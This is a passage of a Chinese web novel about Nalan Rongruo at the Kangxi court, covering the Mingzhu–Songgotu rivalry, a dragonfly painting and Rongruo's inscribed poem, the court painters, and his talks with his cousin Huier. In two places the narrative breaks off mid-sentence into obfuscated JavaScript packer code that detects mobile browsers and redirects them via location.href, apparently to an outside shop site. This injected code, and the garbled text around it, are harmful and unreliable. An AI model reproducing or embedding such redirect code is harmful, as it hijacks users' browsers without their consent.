事后孝庄太后对明珠道:“容若这孩子我喜欢,他能把别人的话理解的透彻、也能得出稳当妥帖的解决办法来,适合陪在皇上身边。” 明珠心里高兴,却谦虚应道:“老祖宗慧眼识珠,奴才替容若叩谢懿恩。” 孝庄太后又提醒道:“明珠你把容若调教的好是一回事,容若他懂得舍己为君是另一回事。你只可惜他,不到万不得已,不可逼他。“ 明珠应了下来,回了孝庄太后道:“奴才谨记老祖宗的话。“ 那些对话,都被索额图的密探打听的清清楚楚。 索额图得知后的反应就是: 明珠可斗,其子容若之命不可留。 这样的“无价珠玉”要是考取了功名,从皇帝身边的“首席陪臣”变成了“前朝重臣”,那还了得?纳兰父子怕是要独占朝纲啊!哪里还有索党的立足之地? 所以—— 不可让明珠的儿子平步青云,入翰林院为官; 更不可让明珠的儿子活的好、活的自在、活的久。 明珠想向前走,索额图却不让道。 “索额图,我今日不想跟你争吵,还是你执意要拦路逼我?” “可惜了不顺路,不然我真想去你府上探望探望贵公子啊!天赐的才华和应季就病的身子骨,可都得治。” 明珠在心里一琢磨,很快就明白了索额图的暗示。 他对着索额图冷哼了一声,绕过他,大步而去。 * 纳兰容若坐在月色下,手执一书,有数点星光入卷。 听闻皇上要“复翰林院官署”的消息,容若自然是高兴,仿佛心情一好,病痛也自消了一样。 容若精通汉学,看得了汉书写的了汉诗,对像宛卿那样的汉家女子也有不同于满族男子的态度。 朝中如果能够设立翰林院,那就意味着能让更多文人的才华得到施展,对国家的文化经典也能够起到更好的编撰和修缮作用,这是大层面上的益处。 再有就是皇上喊过几次要整顿吏治,翰林院的设立,正好是可以起到典范作用。供职于翰林院的官僚,多是些跟文史打交道之人,高风亮节,不屑于勾心斗角和行官场上的那一套交情之事。这些文官不大会被其他高官要员所拉拢、所攀附,正好可以肃清贪污腐败和卖官鬻爵的风气。 另外,翰林院可谓是才子们的养文储望之所,升迁机会诸多,灼灼才华者必有用武之地。供职在内的官员们可以时常接触皇帝,地位既清贵又独特,来日宏图志展、为皇上所器重是必然之事。 容若自身想通过考试进入翰林院供职,那样比目前的“有名无实”的陪臣现状要好。 自己喜欢读书,能够多得些机会来修身齐家是一件好事;自己喜欢写词,能够跟里面的良师益友切磋琢磨是一大乐趣;自己喜欢花草,能够赌书泼茶摘绿意更是一味清欢。 所以他对惠儿道:“皇上之举,是利国利民的大举,我应该支持皇上。” 惠儿替容若高兴道:“诗词文章之外,表兄亦有佛学、礼学、易学、杂学之长,若能进翰林院实现自己的抱负,是一生之幸、也是大清之幸。” 落酥满阶,弯月向公子晏晏。道是兰树落影,还看那边人儿释卷。 病微销,锁寒窗,不待三更一灯香。梦频惊,怕他似玉微凉。 容若卧在榻上,置卷矮桌。 手中握一小笺,生香清秀,佳人笔迹。 他的心里充满了对未来的期待,他决定了—— 要让素笺佳人凭实力稳君心、主后宫。 要让纳兰氏一族固若安泰、不失荣光。 要用真才实学,来为己换得入选翰林院当值的机会。 在此之前,就是要与皇上一起并肩作战,铲除朝中阻力,转变守旧朝臣们的观念,以最妥善的方式来让新政得以推行。 * 数日后。 容若走出家门,正要上马,却听见了从身后传来的阿玛的声音。 回头一看,不但是阿玛站着,连额娘也来了,瞧着他俩像是不愿意自己出门的样子,不知道是不是因为这大雪的天气。 “你去哪儿?” 明珠问完,立刻一使眼色,叫下人去把公子备好的马匹牵走。 “儿进宫去见皇上。” 容若从下人手中拿过缰绳,动作闲雅,叫明珠没法以“不听话”三个字来挑错。 明珠言平脸冷道:“皇上没下旨叫你去。” 容若应的直接:“儿自个愿意去。” 明珠半赞半忧道:“你倒是懂事,知道主动向皇上低头。” 容若冷静道:“儿没有低头,只是觉得皇上放不下脸皮,这么耗下去,慈宁宫的老祖宗也没办法,还不如让儿来打破这个僵局。” 明珠对儿子点到为止:“皇上那是自个给自个难堪,你自己小心去应对。” 容若说“好”,然后问明珠:“阿玛在朝中可都顺心?” 明珠气道:“如今我跟索额图朝前不争,朝后彼此恶言对讽,他敢对容若你口出‘才高不寿’之言,我就能拿咒骂她侄女赫舍里皇后早死来相怼。” 觉罗氏劝道:“老爷,索额图自恃是大功臣索尼之子,为了延续他的阿玛往日在朝堂之上的风光,免不了是想方设法与你针锋相对,你可别自失了分寸,口出把柄之语。” “我自然是没有明着咒皇后早死。”明珠一甩袖,“但是索额图对容若的态度,满朝文武可都是看着的、听着的,由不得我不十倍百倍还牙于他!” “额娘常对儿说,阿玛你是做大事的人。口舌之恶只是逞一时之快、泄一时愤,并不是真的能定夺人的命数长短。阿玛若是真的想斗垮索额图,为了自己也好、为了容若也罢,需要周密部署和详细商议,请阿玛谨言慎行。” “容若,朝廷之事、当阀斗争,阿玛谁都不信,唯独信你这个谋臣。” “阿玛言重了,儿不是想参与到权力纷争之中,也不是想证明自己在党同伐异的生存之战有多大的能耐,只是想对阿玛再说一句掏心话:言语之争最是费时、深陷不出最是影响大局,口舌之仗不值得打,见招拆招之仗才有意义。” “我儿所言极是!” 驰马去往皇宫的路上。 雪虐风饕的天气,刺寒驱马的速度。 扬鞭迎风,矫蹄扬雪,翩翩公子好身姿。 一色天幕,一途前程,一块白玉一卷词。 入神出神,在快慢之间、在远近之间。 论功论过,在曲直之间、在是非之间。 ——心生这些反差和对比做什么? ——不冷。天气不冷,心也不冷。 策马急驰的容若,内心平静如水: 作为明珠的儿子,我的责任是毫不后悔地相助于阿玛:斗政敌、得圣心、握大权、成大事。 作为皇帝的臣子,我的角色就不能只是我自己,我的处事立场也不能百分百按着自己的意思来。可是皇帝真的愿意完全信任我、接受我吗? * 养心殿内。 大太监顾问行尴尬地看康熙皇帝耍性子,他知道:这万岁爷呢,不是难伺候,而是得学会摸他的脾气来伺候。 万岁爷早早地叫了画师禹之鼎过来作画,让曹寅站着一边陪伴。 虽然缺了纳兰公子,就跟是绽放的寒梅少了花蕊一样,让人残念一缕雅香,但是万岁爷还是嘴硬道:“朕身边没了纳兰,倒也舒心,犯不着他伤寒、朕上火!” “万岁爷,‘急火攻心’可使不得。”顾问行顺着玄烨的心思道,“多少国家大事等着您拿主意呢?” “不错。”玄烨满意一笑,“朕现在已经到了亲政的年纪,是该凡事自己做主了。” 红炭生暖,龙涎香绕。 满室皆静,在者皆凝神。 照理说画师画肖像画,尤其是皇帝的肖像画,是要费上一阵子时间的。 不料禹之鼎却在极短的时间内,落章搁笔,给玄烨回话道:“启禀皇上,臣已经完成画作。请皇上过目。” 玄烨就叫了顾问行去把禹之鼎的作品拿过来看。 结果,顾问行一上前,就给皇帝说了这么一句话:“奴才眼拙,怕是这幅画万岁爷您赏不得。” “朕威风凛凛,如何赏不得自己的肖像画?”玄烨一指,“拿过来。” 顾问行这才听命照做,把画作给皇帝捧了上去。 端详了画作好一阵子,玄烨终于皱眉问:“朕叫你画朕反击鳌拜那些人的神勇之姿,你画的是什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129597|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 禹之鼎如实道:“回皇上,是不知何时落在烛台上的一只蜻蜓。” 玄烨愕然:“照你看,朕还不如那只蜻蜓了?” 禹之鼎露出了无辜的神色,道:“臣没在朝堂上见过皇上横扫六合的模样,画不出来也在情理之中。” “你不是擅长画人物肖像吗?”玄烨再次坐的笔直,只有嘴在动,“你就看着朕此刻的模样来画。” 顾问行替禹之鼎解围道:“万岁爷您也别为难禹画师了,这蜻蜓呢,可是能够带来福气的东西。” “好啊,纳兰不在,连禹之鼎你也敢来整蛊朕了?”玄烨故作生气,“你就不怕朕记仇,现在就派人把你的《蜻蜓图》送到明珠府上去,叫他题诗?” 曹寅忍不住发出了几声笑—— 这样的皇上真是少见,明明惦念着纳兰,却还是刀子嘴。 玄烨的注意力一转:“曹寅你笑什么?” 曹寅赶紧应变道:“臣笑的是朝中奸佞和奸佞的党羽,如今抱树逆君,日后必定树倒俱亡。” “曹寅,禹之鼎,你俩要相信朕。”玄烨站了起来,“朕说过自己要做明君,就一定会做个明君,英明千秋万代之君。” * “顾总管,有劳你备笔墨,臣要为禹画师画给皇上的《蜻蜓图》题诗。” 一句声,自信清亮。 一个人,温文尔雅。 “纳兰公子来了。” 顾问行接过容若披着的斗篷,交给小太监后,就站回了桌案边研墨。 玄烨冷眼看着,就差冲纳兰言不由衷地吼出一句:“朕还没准——” “纳兰,你见了朕也不行君臣之礼?” 容若一笑,皇上还是那个执拗又傲气的皇上,“臣纳兰容若请皇上安好。” “免礼。”玄烨摆出了岸然的模样,“你去看画,朕等着你的诗。” 西风未解人间事,愁悴消梦一枕清。 琉璃盏中盛日月,细高台上落蜻蛉。 河汉阑干饮流霞,雾阁云窗否燕明。 君臣谁会点水意?扫墨连桥袖未湿。 “你——”玄烨因为纳兰的才华而大惊,指着诗作,“现写的?” “是。臣方才在门外听见皇上跟画中的蜻蜓生气,就替蜻蜓不值。” “纳兰!”玄烨死撑着自己的面子道,“你不写诗来歌颂朕在朝堂上初次立威的霸气,反而是在诗中讥讽朕不知臣子的‘点水’之意,是不要脑袋了吗?” “唔。臣还写了‘盛日月’和‘否燕明’,皇上不如一并赏了臣一个‘双提大明王朝’的反逆之罪吧!” 纳兰不说还好,这话一说出口,玄烨对着他造诣颇高的书法再一细看,还真从“盛/日月”当中看出了“兴盛/大明”之意。 不知玄烨是因为后知后觉而懊恼,还是真的被纳兰的激将反应给惹怒了,他指着纳兰火道: “朕给你两个选择:第一,重新写一首诗来歌颂朕,还是以蜻蜓为主题;第二,朕即刻派人去叫了你阿玛进宫,就说:‘纳兰容若吃了豹子胆,敢在朕面前写反诗!’朕倒要看看,明珠会怎么处置你。” “臣的诗意和臣的本意,皇上心知肚明,非要治罪,那臣领罪就是。” “曹寅,禹之鼎,你俩可都听见了,是纳兰自己不要命,不是朕不给他机会。” “皇上,禹画师之作加上臣的字,那幅画就值千金。只是加了皇上的怒,价值就减了一半,要是臣在家中挨打挨骂的事情再传了出去,那幅画就变得一文不值。皇上你说,天下之人要是知道,你就是让好画变成劣画的始作俑者,会如何评价你?” “你还嘴硬?”玄烨摊牌道,“朕就是不服气你才华高,如何?” “臣才华再高,也没有自己找死的道理。臣只是见皇上有所误会,才多说几句让误会更深的话。” “纳兰你给朕记着:朕不但要让天下人认可,也要让你认可!你给朕活久一点,睁大眼睛好好看着:朕是如何对大清江山继往开来的。” 曹寅忽然道:“皇上开恩,有一事臣觉得不该瞒着皇上。” 纳兰以为曹寅要说的是“张岱的作品《湖心亭看雪》当中,招之若揭的反清复明的、煽动之意”的事儿,就用眼神暗示道:曹寅,别说。 好在是纳兰多虑了,曹寅真正想对玄烨说的是: “纳兰用洋文写了一首诗给皇上,臣怕皇上误解纳兰的意思,就没敢拿给皇上看,幸好是已经把那首诗的汉话给背下来了。” “朕准了你说。” “是。” “情非风花与雪月, 此生相逢以沫共。 轻声细语无旁事, 海誓山盟与君同。” “这诗朕有什么好误会的?”玄烨畅快大笑,“纳兰跟朕之间,本就该有海誓山盟;君臣之间,本就该相濡以沫。” 容若道:“臣谢皇上不杀不罚之恩。” 玄烨爽朗道:“你写的是君臣之间的手足之情,朕理解的无错吧?” 容若应道:“皇上英明。” 忽然记起纳兰的病情,玄烨问:“你身子爽快了?” 容若回以一笑,“皇上爽快,臣也爽快。” “那你就把朕当作神医圣手,有朕在,就没有搁在你身上的好不了的病。” “臣多谢皇上关心。” 顾总管告知道:“纳兰公子你怕是不知道,咱们万岁爷自打听说明珠大人请了安宫中的太医去瞧你之后,可是时常向太医院过问你是否安好呢。” “承蒙君恩,臣已无恙。” 容若看向皇帝。 “那就好。” 玄烨松了一口气。 容若的心中不悲不喜。 也许应该庆幸:阿玛的目的达到了,自己的确是被皇上放在心上了。 也许应该自问:生死有命,福祸无常。待人以善,是否可得上天眷顾,多续明灯,青火长燃? 11. 第11章 如意馆中,众画师们各司其职:鉴画的鉴画、临摹的临摹、修缮的修缮、起稿的起稿…… 禹之鼎给康熙皇帝画了《蜻蜓图》的事情不但在宫中传开了,更是记载进了史册。只是史册里面,都事件往了“歌颂皇上”和“画师奉职”八个字上面去说。 更可想而知的,是史官们把那纳兰公子题写的诗作,按照“君臣彻夜对饮,共商国事至天明,衣袖染墨也浑然不知”去论,全然回避了纳兰公子的本意。 唯有禹之鼎自己清楚: 作画、作诗、写史,说白了都是为皇上服务的。 且不论自己和纳兰的功过是非,史官们倒是活的明白,所写下来的全是皇上看着舒心的东西。 画阁的门被打开,进来了一个画差。 那画差手里拎着一袋“非同寻常”的东西,很快就引来了包括馆长在内的众画师的注目。 “云辞格格命人送来了金鱼,说是给禹画师和馆内众位大人一起解闷的。” 说罢,画差就解开袋子,把金鱼和水一并倒进了馆内特设的鱼缸里。 那个鱼缸,空着也有一段时间了,今日忽然来了生机,也不得不叫人惊喜称奇。 馆长刘佳·咔隆看着禹之鼎道:“冬天还能千方百计地寻到鱼,可见人家姑娘对你是真心的呀!” 禹之鼎走向前去一看,鱼缸里的金鱼条条精致,火红火红的颜色像是提前带来了过年的喜庆味道。而当中有一对金色的“对鱼”最为特别,并排而游,不离不弃,就跟是琴瑟和鸣的佳偶一般。 阮姓画师道:“禹生你要是真入赘了瓜尔佳府邸,成了朴尔普大人的女婿,别说这一缸鱼,怕是一池子的鱼都有的看。到时候你就坐在荷花池边,夏画新荷、冬画残荷,岂不就是一条‘得水之鱼’?” 禹之鼎清醒道:“朴尔普大人放出了话,说是瓜尔佳一族绝不纳汉人女婿。” “那是他气你的,你要是名扬天下,还怕他不求着你娶他女儿吗?”陈姓画师乐观道,“更何况云辞格格还敢口出‘嫁谁也不嫁纳兰公子’之言呢,有谁跟她生气了吗?她阿玛没有,纳兰公子本人也没有,连咱们万岁爷也没有。” 禹之鼎心中怦怦跳,“这金鱼,可是喜结连理之意?” “是啊!”馆长带着看好的口吻道,“金鱼就是‘金玉’的意思,可见在云辞格格眼里,她跟你之间‘金玉良缘’不断,定能得偿所愿。” “禹生,你得记得给人家姑娘回礼。”姜姓画师道,“指不定人家姑娘就盼着呢。” 禹之鼎忙问:“不知姜大人有何高见?” “禹生你清贫,这是大家都知道的,所以也不能指望你给人家买金银首饰、绫罗绸缎。你还不如就送点自己力所能及的、拿得出手的东西。你有吗?” 禹之鼎反应极快:“有。” “什么?” “冻梨、冻山楂、冻柿子。” 姜姓画师差点给听笑了,“人家姑娘哪稀罕这些?那些东西黑不溜秋的,仔细遭了嫌弃。” “可我是用心去冻的。” “禹生你糊涂啊!”馆长提醒道,“这相互爱着的两颗心,哪能经得起冻?你得寻些让两颗心生暖的东西出来。” “红箩炭吗?我不敢拿馆中的用度之物啊!”禹之鼎徘徊着,“暖手铜炉吗?云辞格格不怕冷,她用不上啊!” 馆长指着禹之鼎对姜姓画师笑道:“姜大人你看,这就叫做‘深在情中,反而困于情’啊!越是在乎对方,越是容易出错,咱们都是娶了妻的过来人,可要帮着点年轻人呀!” 姜姓画师道:“可不是吗?咱们娶的虽然不是八旗格格,但天下女子的心思八成一致,能教给禹生的应对之法,自然要毫无保留地教。” 禹之鼎一时半会拿不出主意来,焦虑之下,竟然自个转移了注意力,问:“真是奇怪,送鱼来的人怎么能把鱼饲料给漏了?” “人家姑娘的意思,不是暗示要跟你一起去买吗?” 阮姓画师觉得:禹之鼎当真是不懂女子之心。 “这样啊……那我去找她。”禹之鼎整装待发,“皇上要是传我进宫,还请诸位大人多多帮忙掩饰。” “禹生,你别这么空手去。”馆长助力道,“把空白的画扇带上,好歹给人家姑娘留下点值得纪念的‘人约黄昏后’之‘景’啊。俗话说:寓情于景,景寄相思……” “馆长大人提醒的是!” 禹之鼎脸上挂着有些傻乎又有些认真的笑,从自己坐班的画案下方的抽屉里拿出了一把白画扇,就高高兴兴地离馆了。 看着禹之鼎的背影,姜姓画师道:“下官听说朴尔普大人在家里坐的是摇椅,他摇着打发时间也就罢了,万一知道了云辞格格死心塌地向着禹之鼎而不是明珠大人家的公子,岂不是要发作?” 馆长意味深长道:“那把摇椅上刷的可是洋漆,朴尔普大人对女儿疼爱着呢!” 姜姓画师有所领悟,便不再说话,而是退回了自己的位置上,继续鉴画。 * 民间。字画店中。 宾客满堂,大家都是为了周老板新得的名品而来。 周老板把名品《蜻蜓图》悬挂在大厅的显眼处,得意道: “此画是万岁爷的御用画师禹之鼎所画,此诗是大清第一陪臣纳兰容若所题,屈尊装点了小店的门面,真是无价之宝啊!” 众宾客一看: 果然是有一只栩栩如生的蜻蜓掠水而过,水面虽只漾起一圈波纹,但也足以证明蜻蜓飞停瞬间的不经意之美,真堪称:惊鸿一瞥。 画中并未添多余的背景,唯有蜻蜓羽翅上面的玲珑与光影,投射出了画师的高超运笔技巧和对构图的娴熟掌握。更有那蜻蜓尾部的收笔之法,一墨收锋,浓淡相宜,怕是天下无第二人能及。 看罢禹之鼎的画,大家就论起了纳兰公子的诗。 论完纳兰公子的诗,大家又谈起了他的书法。 “周老板,你这牌匾“庄周梦蝶”四字,不也是纳兰公子题的吗?“ “是啊!” 周老板兴奋地说起来:“我这牌匾在祖上,那可是‘天下第一茶人’陆羽题的。祖宗爷当年是长安第一大庄家付一刀的门客,明着做的就是字画生意,暗地里走的却是黄金矿藏交易。付一刀付爷你等知道是谁吧?他可是在杨炎的经济改革惹了众怒、自己也死在卢杞手下之后,力挽狂澜拯救了大唐的国计民生的响当当的人物。” 众宾客皆惊叹。 “难怪那日,有个姑娘非说你店里有李季兰的‘反诗’真迹,原来贵宝号的祖宗爷真跟陆羽有交情。” “如今本店沾的是大才子纳兰容若和前途不可估量的画师禹之鼎的光,换了牌匾,可是对不住祖宗爷和陆羽李季兰了。” “那这幅画——” “我肯定是悬着脑袋收藏着。”周老板如履薄冰道,“当真是谁要都不给,谁买都不卖。” * 另一边,深山的一处未结冰的溪流之侧,沈宛独自而坐。 近来多是想着跟那位“贵公子”相关的事,他的音容笑貌,他的才学人品,他的温润和善……好像也不比纳兰容若差。 沈宛告诉自己:“纳兰容若只是被大家说的好罢了,说的人多了,天下也就自然觉得他好。可是他再好,也跟我没关系。” 她把邂逅的“贵公子”写的诗拿出来看,看多少遍都不会腻。 甚至……是一字一句地把那些诗读出来、读无数次,都有新意有温度一样,糟糕,怎么就喜欢上了呢? 这么不经意,这么一厢情愿。 沈宛把那首诗贴在胸口,走在山间。 回想着他接触雪时的样子: 他说自己只能看雪和赏雪,但是踏雪、撒雪、捧雪的感觉真好; 他说自己在寒冬总是养着身子,可是一个“养”字,从别人口中说出,大多是带“同情”和“病态”的; 他说,宛卿你走慢一点,我赶不上你,我怕步子太快会震落老树上面的枯枝,枯枝掉落会伤人,所以阿玛不许我走在茂密的林子里,说是为了我好。 “公子,你走得慢,叫踩雪;我走的快,才叫踏雪。” “你还做了分别?” “因为公子雅致,我随性。” 想着想着,就会不由自主地让内心温暖起来。 因他而暖,为他而暖。 ——公子很好,确实很好,怕冷这一点也让人无挑。 ——公子很雅,的确很雅,这样的人是用来心疼的。 沈宛低头,对着掌心的笺纸上的诗作问: “公子你是谁,叫什么名字?为什么……落款了纳兰容若的印章?” * 明府。 天上一轮明月,人间一味清欢。 银河看似觉远,拈香轻嗅却近。 容若见觉罗氏前来,马上起身:“儿请额娘安好。” 觉罗氏拉着儿子的手坐回榻上,“额娘过来看你,顺便听你说说惠儿的事。” 容若有数道:“春来秀女大选在即,凭惠儿的资质,一定不会让阿玛失望、一定不会辜负纳兰氏一族,请额娘放心。” 觉罗氏温和问:“倒不是这个,最近惠儿她自己长进吗?” 容若心想:额娘的这个问题,打直白了说就是——惠儿被调教的怎么样? “极好。” 他用这个词来回答了额娘的本意。 觉罗氏道:“想来我也应该放心,你们父子严丝合缝,定是能将惠儿培养成一个胜过赫舍里皇后的女子。” “儿觉得没有胜过皇后一说,后宫哪来的赢家?不当输家就好。如何才能不当输家,谋略是一方面,胆识也不可少。” “惠儿伴君跟你陪君,最大的区别是什么?” “应该是皇上的心态。皇上想要从儿身上得到认可,换作妃子,皇上想从她们身上得到的并不是爱,而是‘解乏’和‘同一立场’。后宫的女人谁敢不爱皇上?谁敢不从皇上身上奢求雨露?” “所以——” “所以儿告诉惠儿:要知道皇上是乏在什么地方,可以安抚、可以试探、可以说解,但不能多问皇上的真正愁点;要站在皇上的身后为他尽女子之能,而不是睡在皇上身侧予他女子之柔。” 觉罗氏笑道:“瞧你说的,额娘倒觉得自己这些年来,天天都是如此对你阿玛。能得一个‘夫能子孝’的好报,是额娘的福气。” 容若道: “索额图好权,但是他的孙女赫舍里作为后宫之主,只能端着母仪天下的性子来应对一切——女子与男子不同,越是想着十全十美,就越是容易出错;越是想着子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你呀——”明珠拿自己的儿子没办法,“这样的你也好,一样是阿玛的好儿子。” 穿过闹事,再走过一段寻常路,就到了容若去过许多次的林子那里。 “你爱看林中雪,阿玛陪你一块。” “好在是阿玛没在府中建漆红色的小亭台给儿,否则皇上调侃起来:‘明珠家事就是明珠家事,哪来的一梦红楼的亭子叫朕见笑?’儿答不上来,可要叫阿玛亲自去给皇上答话。”【注1】 “你也有这般调皮的时候?阿玛以前怎么没看出来。” “那就是儿藏的好,骗过了所有人。” “好好好,以后的明珠的家事就干干脆脆地写咱们家的事,管他是不是天子,也不叫他来评价和插手。” 明珠先一步下了马,然后伸手去扶了容若一下,接住了后一步下马的儿子。 容若动作潇洒,仪态无挑,明珠对此大为激赏: 我的儿子,是个文武双全。 日后皇上行军、外巡,我的儿子也必定在侧伴驾,荣光无八旗同辈子弟能及。 父子两人把马匹拴在了结实的大树上,一同往林子的深处走。 明珠觉得容若好像一只忽然被放飞了的鸟儿,扑腾着翅膀,欢跃无比。 他踩雪的步子,不快不慢,在一片银装之路上留下了深深浅浅的一串足迹;偶尔他也会抬头望天空、看树梢,露出很好看的笑容,像是完全放纵了自己一般,沉浸在自己的视角里。 他会因为一只忽然窜过的小松鼠而发出惊叹声,追着小松鼠跑出一段路去,然后停下,喘着气却心满意足;他也会因为发现了藏在雪中的奇石而高兴,他说大自然的奇石跟家里的后天成型之石不一样,想抱一块回家,放在玉兰树旁边也极为合适。 可是,却不能说他像个孩子一样。 因为他的气质还是贵公子的气质,绝非纨绔子弟的那种邪魅与天真。 明珠这倒是相信了之前容若说的“贪看”一词,觉得这么一位翩翩浊世佳公子,将自己融入这一片洁白中也是合情合理的,不怪他流连忘返。 让儿子得到片刻的欢愉,是自己这个做阿玛的给得起的。 让儿子安然和心无旁骛,是自己这个生父的应该许可的。 让儿有属于自己的情绪,是自己这个当爹爹的该放手的。 明珠抚去儿子斗篷上的雪花,慈爱道:“父子之间,也并不一定总要聊国家大事和君臣之事,像今日这般不就极好?” “推心置腹是儿所愿,今日这般也是儿所愿。”容若声线澄澈,“纳兰父子该做天下的表率,对不对?” 明珠单手半握拳伸出,容若以同样的动作跟阿玛碰拳。 这是满人之间,相互“立下了承诺”的意思。 “对。”明珠回应了儿子的期待,“你我父子,应为天下父子的表率。” “儿喜欢‘珠玉愿成’【注2】这自个字。”容若抱着个人的憧憬和对明珠的尊敬,“所以阿玛,你和我要达成所愿呀!” 【注1】明珠要给容若建赏雪的亭子,前因后果见第8章。 【注2】珠玉愿成:指的是明珠和美玉(指纳兰容若自己),诸愿成就。 12. 第12章 明府的院落之中,容若看见几个下人搬着书箱往惠儿的房间走,就叫了其中一个人过来问话:“里面装的是什么?书籍还是?” “回公子,”那家丁道,“惠儿小姐要了唐代四大女诗人的作品集来看,奴才等正把相关的书往她那边送。” “知道了,你去吧。” 容若心想:的确如此,惠儿不可只读史书和谋书,也要看些对经营感情有帮助的诗书才好。 他并未去打扰她,而是继续面对自己喜欢的玉兰花树。 他觉得: 白色的玉兰花瓣也挺好,落入雪地里就跟雪融在了一块,不惹人注目、不贪人垂怜。睡在雪中时不给庭院添扰,随雪而消时不给大地添尘。 就算是折了一枝回去,养在盛装了清水的青玉瓶子里,也能够观赏到它们凋谢时的样子和听见它们落桌时的声音,然后轻问残朵们一句:来世,你们愿意为谁所采撷? 直到了晚上,容若才回房坐上了暖榻,带着一束沾雪晶莹的花儿。 他并不叫丫鬟来帮手,而是自己着手来剪花和插画。 ——冬天自设屋内的摆花,要带些天雪的才好,看着朵瓣上的天雪慢慢变干、渗透入花瓣的肌理之中,是很安静的事情。天雪是不会变成水滴往下掉的,至少我的青玉瓶边没见到过流渍。雪入花脉络,心接一缕香,也许是上天特别给予我的赏花恩惠吧? ——要有足够的耐心,才能共感一朵花丛绽放到凋零的全过程。在此之前,就是陪伴,人对花好,花也会对人好,这是一份共感。四季流转,美却是无私,无私地尽短暂韶华,以各自的姿态落幕。 容若一边照着自己的心意插花,一边自语: 至近至远东西,至深至浅清溪。 至高至明日月,至亲至疏夫妻。 “李季兰的这首《八至》写的当真是好,惠儿要是能够悟得里面的深意,一定能够在后宫安稳度日。” “不过,不经历大风大浪的后宫生活也是不完美的。安稳对后妃们来说,到底是意味着善终呢?还是意味着平庸?非要教惠儿的话,我希望她记住的是:对立面的产生并非是坏事,机巧磨合,会让困局变顺境也未可知。” 容若专心致志看自己的花儿,没有留意到惠儿站在身后。 “表兄在想什么?” “我在想那个在字画店遇见的人,我答应过她,等有机会的时候,就把陆羽写的《茶经》里面暗藏的秘密告诉她。” 惠儿从桌面上拿起了《八至》诗来看,然后道: “李季兰和陆羽本该是一对。可见那日表兄遇见之人,也是将注意力放在了这位才女子的作品身上,要解其意,便要解女诗人之所慕,所慕者著《茶经》,写《六羡歌》,二者结合,咬文嚼字可解。” “惠儿要是解出来了,也先别说。” 容若单指一贴嘴唇。 “表兄打算去字画店找那个人吗?” “只感觉是萍水相逢,除非自己创造机会,否则很难见到她。” “还有这样的事?”惠儿嗔奇,“天下人都想见表兄,表兄却为一个只有一面之交的人而苦恼。” “并不是一面之交惠儿,我跟她见过三次。”容若记得很清楚,“第一次是在字画店,第二次是在墙角的水仙花边,第三次是在林子里。” “表兄,不如叫字画店的老板帮你留意着如何?” “不要。”容若否认的很快,“我不知道她的真名,她也不知道我就是纳兰容若。我怕等到开诚布公的那一天,彼此反而生疏了。” “这倒不会,如果他跟表兄你三次相遇,都不清楚表兄你的人品的话,那过后表兄你也不必与他相交了。天下才子,又不是只有他一个。” “她是个女子。” “什么?”惠儿很是惊讶,“表兄你之前去林子……是为了一个女子?” “惠儿。”容若叫了声表妹的名字,此外没有别的反应。 “惠儿不是嫉妒她,只是怕这事被伯父伯母知道后,真的是要对表兄你进行家法处置呀!” 容若把自己所知道的,都和盘托出:“还有更了不得的,她是个汉人,有个教她六艺和处世之道的师傅,可她不告诉我师傅是谁。” 惠儿当机立断道:“表兄,听惠儿一句劝,别再跟她来往了,与其到了日后难割难舍、互伤衷肠,还不如当下就及时止损。” “我想了解她,就像她想了解我一样。” 容若心中带着一份不舍。 “按照她的身份,她进不了明府的门。换表兄你去找她,我也舍不得你去冒这个险。只怕到头来一切只是一个阴谋,让表兄你伤神伤身。” “唯有惠儿你是真心对我。” 容若因为表妹的后一句话而感动。 是啊,如果自己和那位汉人女子有缘无份、注定了以悲剧收场,那还不如:赶着情感未开始就先提前结束。对彼此都好。 谈起自己时,容若的神色有些暗淡。 “我一直真心待人,又何尝不知道——有人因为我是明珠公子才附会于我;有人表面钦佩我的学识暗地里却巴不得我才高早死;有人把我当作珠玉,只敢远观于我而不敢亵渎于我,久而久之,就成了嫉恨于我。” “而我最珍重的,只是自己的器量和才华。我从未想过:用自己的存在去影响时局;用自己的聪慧去左右党争;用自己的赤诚心去干政涉政。我只想守着自己的花儿,温一壶茶,写一首词,邂逅一个好天气。” “惠儿,难道我为自己而活就自私了吗?为什么明明没有人不许我这样,我却不肯放过自己?” 惠儿一语道破:“因为天下只有一个纳兰容若,所以纳兰容若才没法允许自己——活成自己想要的样子。” 容若侧头想了想,“那种感觉,我说不上来,但惠儿你说的很中肯。” “惠儿跟表兄从小一起长大,对表兄的性情,自然了解的比别人深一些。” “要是人能够长长久久地在花前月下,该多好!” “有时候往往不是人无意,而是花与月不相聚、不与人共情。” 两人一同走出房间外。 “所以惠儿你说,我该盼什么呢?一场证明自己德才配位的科举考试,一次不相互试探与较量的君臣相好,还是一份推心置腹的可以无话不说的父子情?我好像能够都做到、都得到,可是仍旧觉得空空如也。” “表兄总是盼着别人好,等到静下心来为自己考虑的时候,反而不知所措。惠儿只怕世上除了表兄自己,谁也无法填满那颗似空还满的心。” “似空还满……也许我真该叫阿玛、皇上、知交,都来掂一掂我这颗心,捂一捂我这颗心,看看是否沉重、是否温热。是否……还能装下些东西、掏空些感情。” “那就先由惠儿接着、惠儿捂着。”惠儿把手按在容若的心脏上,“别让表兄的心骤然而空、骤然而满、骤然而伤。” 容若一边握着惠儿的手腕,一边抬头看着飞雪中的明月。 他觉得如今的心是暖和的、至幸的,若有夜莺相惊,若得月老相顾,那么自己一定对佳音心旷神怡、对佳缘心驰神往。 “陪着我。” 好似对惠儿说,又好似对夜莺说。 容若靠着栏轩上的柱子,不知不觉地睡了过去。 * 